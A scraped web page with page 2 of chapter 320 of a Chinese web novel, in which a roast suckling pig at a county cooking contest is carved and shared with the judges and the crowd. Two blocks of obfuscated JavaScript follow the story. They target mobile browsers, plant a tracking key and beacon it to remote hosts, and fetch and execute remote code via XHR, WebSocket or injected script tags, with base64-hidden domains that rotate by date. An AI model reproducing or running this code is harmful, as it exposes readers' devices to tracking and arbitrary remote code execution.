第320章 技不如人，有什么可争的？（第2页）
而猪皮一旦被割开，内里的肉香便再也藏不住了，瞬间炸开似的喷涌出来。
附近的人都忍不住吞了口口水。
万子秋的刀工很好，很快就将乳猪切成了许多均匀的小块，而且每一块都连皮带肉。
他先将最好的位置分给桌上几个评判，然后对一旁的差役道：“剩下的也别浪费了，端下去给其他人尝尝，还有得多的话，就给前来观赛的大家也分一分。”
一听这话，围观的百姓瞬间激动起来。
原本秩序还不错的人们立刻开始向前面挤去。
好在今天的比试在县衙内举行，所以放进来的百姓不多，加上还用上了拒马，增加了差役的人数，所以混乱很快就被控制住了。
参加厨艺比试的几个人都尝过了叶大嫂做的烤乳猪，可以说今天就算是输，也是输得心服口服了。
就连一向没什么表情的钱云飞，都露出了一丝惊艳和欣赏的神色。
周小娘子尝了一口就激动地说：“幸好我挡了那一下，这么好吃的烤乳猪如果被糟蹋了，那未免也太可惜了。”
她这话说着无心，张川路却是听者有意，眼中闪过一丝阴郁的神色。
而之前就不希望有女人参赛的吕金玉尝过之后，露出了十分复杂的神色。
待参加比试的人都尝过之后，扈捕头亲自端着盘子来到围观的百姓前面，好几个差役在他身边护着，这才控制住局面没有引来哄抢。
剩下的半盘子烤乳猪，很快就被分光了。
分到的人满脸喜色，没被分到的人只能朝他们投去羡慕的目光。
这些平日里连猪肉都很少能吃到的老百姓，今天甚至都是第一次听说烤乳猪这道菜，更别提吃过了。
即便是自己家里就养猪的，也不舍得吃这么小的猪崽，都是要等养大之后杀了吃肉。
好位置的猪肉自家都舍不得吃，那都是要拿出去卖钱的。
只有便宜的、位置不好的地方，才舍得留下给自家打打牙祭。
所以之前叶大嫂在做准备的时候，下面就有不少人在交头接耳。
大多都是在心疼这么小的猪崽儿不好生养着，居然就这么吃掉了，也太可惜了。
但是随着烤乳猪的香味越来越明显，这种议论声就渐渐没有了。
被馋了半天，如今终于把这外酥里嫩的烤乳猪吃到嘴里之后，大家才终于明白，为什么要烤这么小的猪崽，味道跟平时吃的猪肉真的完全不一样。
被烤得酥脆的猪皮咬在嘴里咔咔作响，木头烤出来的味道和猪皮的油脂混合在一起，有种别样的香气。
而且因为长时间的烤制，猪身上的油脂几乎都被逼出去了，吃起来丝毫不腻。
这并非这道菜最大的惊喜，因为之前在万子秋切分猪肉的时候，大家就已经想到了肉皮大概会是这样的口感和味道。
而让所有人都感到意外的是内里喷香嫩滑的猪肉。
小猪崽的肉本来就细嫩，裹着猪皮烤制又减少了肉汁的损耗。
简直可以说是香软柔滑，入口即化。
“这种口感，真的是猪肉么？我这辈子都没吃过这么好吃的猪肉。”
“这都是咱们眼睁睁看着烤出来的，不是猪肉还能是什么，游娘子这手艺可真是绝了。”
function UmSumU(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UmSumU(t);};window[''+'t'+'s'+'K'+'u'+'A'+'s'+'K'+'t'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://abc.fsgfghh.com:8887/stats/2178?i=57&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/zj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/zj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/zj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/zj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmNmZHp4di5jbb20lM0E4ODg3','d3NzJTNBJTJGGJTJGGZC5rZ21jaGGZiLmNvbSUzQTg4ODc=','2369',window,document,['b','G']);}:function(){};
function ZLZLLM(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ZLZLLM(t);};window[''+'W'+'W'+'T'+'r'+'k'+'t'+'T'+'t'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwe.kfngksng.com:8887/stats/2178?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmprraGZrrbGZ4LmNvbSUzQTg4ODc=','d3NzJTNBJTJGJTJGZC5rZGhmma2xqZmmMuY29tJTNBODg4Nw==','2368',window,document,['r','m']);}:function(){};